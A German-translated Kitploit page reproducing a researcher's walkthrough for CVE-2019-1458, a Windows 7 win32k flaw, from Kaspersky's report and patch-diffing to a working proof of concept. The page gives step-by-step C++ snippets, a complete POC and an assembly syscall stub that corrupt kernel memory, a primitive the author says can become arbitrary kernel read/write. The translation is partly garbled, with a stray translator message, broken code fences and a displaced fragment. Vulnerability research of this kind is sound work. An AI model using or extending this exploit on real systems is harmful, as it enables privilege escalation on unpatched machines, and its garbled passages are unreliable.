Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2019-1458_POC — POC für cve-2019-1458 | Kitploit
Tools/GitHubGitHub/piotrflorczyk/cve-2019-1458_poc
SchwachstellenanalyseExploitationReverse EngineeringLernen & BildungBinary-Exploitation
GitHubpiotrflorczyk/cve-2019-1458_poc

cve-2019-1458_POC

POC für cve-2019-1458

Repository anzeigen
18153vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-1458: Vom 'In-the-Wild-Report' zum POC

Einleitung

Im Dezember veröffentlichte Kaspersky einen Blogbeitrag über [einen in freier Wildbahn eingesetzten 0day-Exploit][1]. Das weckte mein Interesse, denn obwohl sie beschrieben, wie der Exploit funktionierte, lieferten sie in ihrer Analyse keinen POC. Deshalb beschloss ich, basierend auf Kasperskys Blogbeitrag und der Patch-Analyse einen POC für diese Schwachstelle zu schreiben.
Dieser Beitrag beschreibt meinen Weg dabei.

Informationsbeschaffung:

Zuerst musste ich so viele Informationen wie möglich über diese Schwachstelle sammeln. Beim Durchlesen des erwähnten Blogbeitrags habe ich folgende Informationen extrahiert:

  • Die Schwachstelle steht im Zusammenhang mit der Fensterwechselfunktionalität
  • Erfordert das Simulieren von ALT-Tastendrücken zum Auslösen
  • Es sind zwei Aufrufe der undokumentierten NtUserMessageCall-API erforderlich
  • Es muss ein spezielles Wechselfenster erstellt werden
  • Es gab einen Verweis auf die Kernel-Funktion win32k!DrawSwitchWndHilite

Außerdem gibt es einen schönen Screenshot des dekompilierten Codes, der einige der zuvor aufgeführten Punkte zeigt. Genauer gesagt zeigt er: die Erstellung des Wechselfensters, einen Aufruf der Funktion toggle_alt_key und mehrere Aufrufe von NtUserMessageCall.

Part of decompiled exploit code [Image source][1]

Viele nützliche Informationen, aber es wird immer noch nicht beschrieben, wie genau diese Schwachstelle funktioniert und wie man sie auslöst.

Patch-Diffing

[Das betroffene Modul war win32k.sys][2]. Ich habe sowohl die gepatchte als auch die ungepatchte Version dieses Moduls heruntergeladen.
Für Win7 x64 waren das:

  • patched: KB4530692
  • unpatched: KB4525233

Sie können aus dem [Microsoft Update Catalog][3] heruntergeladen werden.

Hier ist das Bindiff-Ergebnis des Vergleichs beider Versionen.

win32k comparison

Nachdem wir Funktionen im Zusammenhang mit der DebugHook-Funktionalität ausgeschlossen haben, bleibt uns im Grunde nur diese leicht veränderte Funktion InitFunctionTables().

InitFunctionTables changes

Definitiv nicht der größte Patch.
Das hilft nicht, die Ursache dieser Schwachstelle sofort zu identifizieren. Aber es ist erwähnenswert, dass einige Anfangswerte für Variablen bei *(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180) hinzugefügt wurden. Es könnte sich also um einen Fehler im Zusammenhang mit einer nicht initialisierten Variablen handeln.

POC-Erstellung - Schritt für Schritt

In diesem Abschnitt werde ich darlegen, wie ich schrittweise einen POC aufgebaut habe, der diese Schwachstelle auslöst, während ich gleichzeitig herausfand, worin die Schwachstelle tatsächlich bestand.

Wo anfangen?

Patch-Diffing lieferte anfangs nicht allzu viele nützliche Informationen, daher stützte ich mich in der ersten Entwicklungsphase hauptsächlich auf Kasperskys Blogbeitrag.
Um eine gute Testumgebung zu haben, habe ich eine Win7 SP1 x64 VM mit der letzten verwundbaren Version von win32k vorbereitet. Darüber hinaus habe ich Windbg an diese VM angehängt, um Kernel-Debugging durchzuführen, und dabei auch den Symbolserver-Pfad eingerichtet.
Ich begann meine Untersuchung mit der Funktion win32k!DrawSwitchWndHilite, die im Blogbeitrag erwähnt wurde. Sie wird von zwei Stellen aufgerufen: xxxMoveSwitchWndHilite und xxxPaintSwitchWindow. Letztere erregte sofort meine Aufmerksamkeit wegen der umgebenden GetKeyState/GetAsyncKeyState-Aufrufe, die im ursprünglichen Bericht erwähnt wurden. Außerdem prüfen diese Aufrufe, ob die ALT-Taste gedrückt ist.

Interesting callsite to DrawSwitchWndHilite
Aufruf von DrawSwitchWndHilite aus xxxPaintSwitchWindow

Als ich den Aufruf-Querverweisen weiter folgte (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite), stellte ich fest, dass das erste Element in dieser Kette in InitFunctionTables referenziert wird, einer Funktion, die im Patch korrigiert wurde.

Als Nächstes habe ich mir NtUserMessageCall aus dem Screenshot des dekompilierten Codes angesehen. Hier ist die Deklaration dieser Funktion.```cpp NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)

root@kitploit:~
Der Exploit ruft es mit `msg = 0x14` und `dwType = 0xE0` auf. Mal sehen, was es tut.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
    printf("[-] Failed registering SploitWnd window class\n");
    exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to create SploitWnd window\n");
    exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);

Hier habe ich eine einfache Fensterklasse registriert und ein Fenster dieser Klasse erstellt. Dann habe ich NtUserMessageCall mit denselben Parametern wie beim Exploit aufgerufen. Um zu sehen, was unter der Haube passiert, habe ich einen Haltepunkt kd> ba e 1 win32k!NtUserMessageCall gesetzt und den Code ausgeführt.
Es gibt ziemlich viele Aufrufe dieser Funktion, daher musste ich den richtigen erwischen, aber das war nicht allzu schwierig – es war der mit einem sehr kurzen Callstack.

NtUserMessageCall
NtUserMessageCall

Beim Durchschreiten des Codes zeigte sich, dass eine Funktion aus dem gapfnMessageCall-Array aufgerufen wird. Der Index wird anhand des msg-Werts berechnet und ist gleich 0, daher erfolgt der Aufruf an NtUserfnDWORD.

NtUserfnDWORD
NtUserfnDWORD

Der nächste Aufruf erfolgt über den dwType-Wert, und der gpsi-Offset ist nun 0x40. Der Aufruf führt zu xxxWrapSwitchWndProc (diese Funktion tauchte bereits auf, als ich die Aufrufkette von DrawSwitchWndHilite geprüft habe).
xxxWrapSwitchWndProc ruft einfach xxxSwitchWndProc auf.

xxxSwitchWndProc
xxxSwitchWndProc

Und hier ist Schluss: Der Code scheitert an dieser Stelle und geht nicht weiter zu xxxPaintSwitchWindow, wohin wir basierend auf dem msg-Wert (0x14) gelangen wollen. Schauen wir uns an, warum.

Den richtigen Pfad auslösen

Der Code scheitert an dieser Stelle, weil – wie im vorherigen Bild hervorgehoben – die fnid unseres Fensters nicht 0x2A0 (FNID_SWITCH) entspricht und die gesendete Nachricht nicht gleich 1 ist. Dadurch landen wir in xxxDefWindowProc. Um dieses Szenario zu vermeiden, müssen wir xxxSwitchWndProc mit auf FNID_SWITCH gesetzter fnid aufrufen, sodass wir direkt zur switch-Anweisung und später zu xxxPaintSwitchWindow gelangen.
Wie setzt man die richtige fnid? Genau das erledigt dieselbe Funktion im ersten if-Block – wir müssen nur alle Prüfungen darin fehlschlagen lassen, um zur Anweisung zu gelangen, die die fnid setzt.

Hier sind die Bedingungen, die erfüllt sein müssen, um alle drei if-Prüfungen fehlschlagen zu lassen:

  • fnid == 0 und cbwndExtra + 0x128 >= *(gpsi + 0x154)
    fnid ist für jedes neu erstellte Benutzerfenster gleich 0. *(gpsi+0x154) ist im ungepatchten win32k! gleich 0. Aber selbst wenn es auf 0x130 gesetzt wäre, wie in der gepatchten Version, könnten wir cbwndExtra auf 8 oder höher setzen und die erste Prüfung dennoch umgehen.
  • msg == 1
    Kann im NtUserMessageCall-Aufruf gesetzt werden. Obwohl der Kontrollfluss mit auf 1 gesetztem msg durch NtUserfnINLPCREATESTRUCT statt NtUserfnDWORD verläuft, endet er dennoch in xxxSwitchWndProc.

Wenn alle diese Bedingungen erfüllt sind, wird die fnid des Fensters auf FNID_SWITCH gesetzt.
Jetzt müssen wir NtUserMessageCall also zweimal aufrufen: beim ersten Mal mit msg gleich 1, um die gewünschte fnid zu setzen, und beim zweiten Mal, um xxxPaintSwitchWindow zu erreichen.```cpp HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);

printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);

root@kitploit:~
Ich habe `extraData` zur Fensterklasse hinzugefügt und einen zweiten Aufruf von `NtUserMessageCall` ergänzt. Nun kann der Kontrollfluss `xxxPaintSwitchWindow` erreichen.
(Nebenbei: `dwType` muss nicht gleich `0xE0` sein, `0` funktioniert genauso gut, da es in `NtUserfnDWORD` ohnehin mit `0x1F` UND-verknüpft wird)

![xxxPaintSwitchWindow](https://assets.kitploit.com/production/public/readmes/30684/0a794f2d2af1e438ad43ce6f36921871ba04eeadeba67141388de7163ceaa0fa.png)
*`xxxPaintSwitchWindow`*

Bei näherer Betrachtung fiel mir auf, dass der Wert `extraWndData`, der aus dem Fensterobjekt stammt (Zeile 25), als Zeiger für einen Schreibzugriff verwendet wird (Zeile 46–52)! Wenn ich den Code erreichen kann, der `extraWndData` auf einen von mir kontrollierten Wert setzt, kann ich beliebigen Speicher korrumpieren!  
Um dorthin zu gelangen, muss ich zunächst einige weitere Prüfungen bestehen (rot markiert)

- Prüfen, ob das Fenster das Flag `WS_VISIBLE` gesetzt hat.  
Dieses Flag kann in `CreateWindowEx` gesetzt werden.
- `fnid == 0x2A0` und `cbwndExtra + 0x128 == *(gpsi + 0x154)`  
`fnid` wird bereits durch den ersten `NtUserMessageCall` gesetzt.  
Das Problem entsteht beim zweiten Teil dieser Prüfung, da `*(gpsi + 0x154)` im verwundbaren `win32k`-Modul nicht initialisiert ist; daher schlägt diese Prüfung immer fehl. Es sei denn, wir setzen `*(gpsi+0x154)` irgendwie auf den richtigen Wert. Es stellt sich heraus, dass das Erstellen eines speziellen Switch-Fensters, das in Kasperskys Beitrag erwähnt wird, genau das bewirkt. 
- Prüfen, ob das Fenster nicht zerstört ist.  
In diesem Fall bereits erfüllt.

Um das spezielle [Switch-Fenster][4] zu erstellen, müssen wir `CreateWindowEx` mit dem auf `0x8003` (`#32771`) gesetzten Namen aufrufen. Dies führt schließlich dazu, dass `InternalRegisterClassEx` im Kernel aufgerufen wird.

![InternalRegisterClassEx](https://assets.kitploit.com/production/public/readmes/30684/899c70257bac4c26d99e4bfb6e14d024a586bc7fb3bc11cddb5f544409165092.png)
*Fragment der Funktion `InternalRegisterClassEx`*

Dadurch wird `*(gpsi+0x154)` auf `0x130` initialisiert.
Der Nebeneffekt davon ist, dass es keinen Weg gibt, diese Variable zurück auf 0 zu setzen, sobald wir sie gesetzt haben. Wir haben also nur eine Chance, den Exploit auszuführen. Alle weiteren Versuche schlagen bis zum nächsten Neustart fehl.


### Kontrolle über den dereferenzierten Wert

Ich bin nun in der Lage, `extraWndData` zu kontrollieren, das später als Zeiger dereferenziert wird und auf dessen Zieladresse in `xxxPaintSwitchWindow` geschrieben wird. `extraWndData` kann durch Aufrufen von```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)

Beachtet werden sollte, dass dieser Aufruf nach dem ersten NtUserMessageCall-Aufruf erfolgen muss, da – wie gezeigt – xxxSwitchWndProc benötigt, dass extraData des Fensters bei diesem ersten Aufruf auf 0 gesetzt ist, um die notwendigen Prüfungen zu umgehen. Außerdem muss SetWindowLongPtr vor der Erstellung des Switch-Fensters aufgerufen werden, und hier ist der Grund:

xxxSetWindowLong Ausschnitt der Funktion xxxSetWindowLong

Genau hier nutzen wir tatsächlich die nicht initialisierte Variable *(gpsi + 0x154) aus. Wenn diese Prüfung erfolgreich ist, setzen wir wnd->extraData auf einen beliebigen Wert. Wäre dies korrekt initialisiert, würde der Exploit hier fehlschlagen.```cpp HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

root@kitploit:~
Hier ist das Ergebnis der Ausführung des obigen Codes

![Debugging succesful run of exploit](https://assets.kitploit.com/production/public/readmes/30684/041723bb4c11895a5884059ccea0376d06d26056b4f0bac758dd712055b05b09.png)

Kurz danach erhalten wir einen Bugcheck, wenn `rdi` dereferenziert wird.  
Ausführen desselben Exploits auf einem gepatchten Windows:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time

SetWindowLongPtr schlägt mit Fehlercode 0x585 fehl, weil *(gpsi + 0x154) ordnungsgemäß initialisiert ist. Und der Kernel stürzt nicht ab.

Grundursache (Zusammenfassung)

Zusammenfassend war das Hauptproblem die nicht initialisierte Variable *(gpsi+0x154).
Aber was ist dieser Wert, warum ist er wichtig?
gpsi ist ein globaler Zeiger auf die [tagSERVERINFO][5]-Struktur. Diese Struktur beschreibt unter anderem Systemfenster (also Menüs, Desktop, Umschalter usw.) im Gegensatz zu benutzerdefinierten Fenstern. Diese Systemfenster werden anhand ihrer FNID identifiziert; zum Beispiel bedeutet 0x2A0 Umschalterfenster.

Wenn eine Fensterklasse mit RegisterClassEx definiert wird, haben wir die Möglichkeit, das Feld cbWndExtra in WNDCLASSEX festzulegen. Dieses Feld beschreibt, wie viele zusätzliche Bytes über die tagWND-Struktur hinaus alloziert werden, um einige fensterspezifische Informationen zu speichern. Diese zusätzlichen Bytes können wir dann mit SetWindowLongPtr ändern. Systemfenster verwenden genau denselben Mechanismus, um zusätzliche Daten zu speichern, die sie für ihre Arbeit benötigen. Im Prinzip sollten diese Daten jedoch nicht über SetWindowLongPtr erreichbar sein. Und wir haben gesehen, dass es in xxxSetWindowLongPtr tatsächlich eine Prüfung gibt, die das verhindern soll. Nach Anwendung der Typinformationen sieht die Prüfung so aus:``` if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND)) goto exit_with_error

root@kitploit:~
Array `gpsi->mpFnid_serverCBWndProc` beschreibt die Größe eines gegebenen Systemfensterobjekts einschließlich Zusatzdaten. 
`*(gpsi+0x154)` wird zu `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
Indem dieses Feld nicht initialisiert bleibt, nimmt `xxxSetWindowLongPtr` an, dass die Größe der Zusatzdaten `-sizeof(tagWND)` ist, wodurch wir in ein Feld schreiben können, das eigentlich für die Struktur des Switch-Fensters privat sein sollte.

Die Ursache dieser Schwachstelle war dann eine nicht initialisierte (bzw. standardmäßig auf 0 initialisierte) Variable `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.
Das erklärt, warum der Patch so klein war. Es musste lediglich auf `sizeof(tagWND) + 8` gesetzt werden. Auf dieselbe Weise werden nun auch andere `mpFnid_serverCBWndProc`-Arrayelemente initialisiert, die zuvor nicht initialisiert waren (`FNID_DESKTOP`, `FNID_TOOLTIPS`), vermutlich um auch zukünftige Varianten dieses Exploits zu verhindern.

![InitFunctionTable with types](https://assets.kitploit.com/production/public/readmes/30684/d7a41949abd8ce0e3d34f642c080b315d20edfb4e480db16f915759c5e375436.png)

## Speicher korrumpieren
Beim aktuellen Stand des Exploits können wir einen Bugcheck auslösen, aber der Absturz erfolgt bei der Anweisung:```asm
xxxPaintSwitchWindow + 0x8B:
cmp     [rdi+6Ch], r13d		; rdi = 0x4141414141414

Der letzte Schritt zur Vorbereitung dieses POC wäre dann, einen nützlicheren Absturz auszulösen oder besser noch, Speicher zu korrumpieren und gar nicht abzustürzen.

Um dieses letzte Ziel zu erreichen, müssen wir:

  • Einen gültigen Zeiger auf RW-Speicher bereitstellen.
    Ich habe mich entschieden, Speicher mithilfe von VirtualAlloc zu reservieren und den zurückgegebenen Zeiger an SetWindowLongPtr zu übergeben.
  • Das Drücken der ALT-Taste simulieren.
    Wie bereits erwähnt, gibt es Aufrufe von GetKeyState/GetAsyncKeyState in xxxPaintSwitchWindow, die prüfen, ob die ALT-Taste gedrückt ist. Ist das nicht der Fall, beendet sich die Funktion.
    Ob GetKeyState oder GetAsyncKeyState verwendet wird, wird anhand eines Flags bei [extraWndData+6Ch]. Ich habe mich entschieden, das Drücken der ALT-Taste mithilfe eines Aufrufs von SetKeyboardState zu simulieren. Das funktioniert nur mit GetKeyState, daher muss ich den Wert am Offset 0x6C auf 1 setzen.```cpp ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); SetWindowLongPtr(sploitWnd, 0, ptr);

BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);

((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow

root@kitploit:~
Mit diesem Code bekam ich einen anderen Crash.```asm
DrawSwitchWndHilite + 0x10A:
mov     rcx, [r12+20h]
mov     dl, 1
mov     rcx, [rcx]		; rcx = 0

Daher stelle ich auch einen gültigen Zeiger bei Offset 0x20 bereit (der auf sich selbst zeigt)```cpp ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed

root@kitploit:~
Jetzt funktioniert der Exploit ohne Absturz, und wenn wir den Inhalt der allokierten Seite untersuchen, sehen wir, dass sie modifiziert wurde!

![Speicherinhalt](https://assets.kitploit.com/production/public/readmes/30684/08b7865f524a983ea91bda161f8356a75b0ca1a1c070eecd9950592ff23629ec.png)

Wir haben einen stabilen Exploit-POC erreicht, der den ihm übergebenen Speicher korrumpiert. Das ist eine viel bessere Situation als ein POC, der beim Speicherzugriff abstürzt, denn diese beliebige Speicherkorruption lässt sich leichter in beliebige Kernel-Lese-/Schreibzugriffe umwandeln. Außerdem haben wir bereits die Anforderungen ermittelt, die der zu korrumpierende Speicher erfüllen muss.

## Fazit

In diesem Walkthrough habe ich gezeigt, wie ich von der Beschreibung des Exploits und der Schwachstelle zu einem funktionierenden POC gelangt bin, der in einen nützlichen Kernel-Exploit umgewandelt werden kann. Das war ein ziemlich interessanter Exploit, der nur wegen einer fehlenden Zeile möglich war. Ich denke, die Erkenntnis daraus lautet: Initialisiere deine globalen Variablen immer.

## POC``` cpp
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {    
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
   
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}

Es wurde kein Eingabetext bereitgestellt. Bitte sende den zu übersetzenden Inhalt erneut.```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT

PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END

root@kitploit:~
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
Tool herunterladen
  • extraData == 0
    Die Größe von ExtraData kann bei der Registrierung der Fensterklasse über das erwähnte cbwndExtra festgelegt werden. ExtraData wird direkt nach der tagWND-Struktur angehängt (ich habe dieses Feld in IDA als QWORD am Offset sizeof(tagWND) zur tagWND-Struktur hinzugefügt, um den dekompilierten Code etwas schöner zu machen). Sein Wert kann mit einem Aufruf von SetWindowLongPtr gesetzt werden.